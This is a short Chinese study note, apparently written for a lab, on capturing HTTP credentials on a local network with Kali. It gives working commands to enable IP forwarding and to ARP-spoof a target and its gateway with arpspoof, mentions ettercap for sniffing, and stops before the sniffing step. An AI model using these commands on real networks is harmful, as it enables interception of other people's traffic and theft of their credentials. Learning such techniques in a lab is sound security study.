关于Kali获取HTTP账号密码的学习笔记

HTTP协议是进行明文传输的，即在传输过程中不对数据进行加密。在局域网环境中，通过ARP欺骗，将目标主机的网络包都流经攻击者，然后再通过嗅探的方式从而获取到HTTP的一些数据信息。下面主要是利用ettercap来进行嗅探，目标主机还是选择Ubuntu。

先是在Kali中开启转发流量：

echo 1 > /proc/sys/net/ipv4/ip_forward

或

sysctl -w net.ipv4.ip_forward=1  

进行ARP欺骗：

arpspoof -i eth0 -t 10.10.10.134 10.10.10.2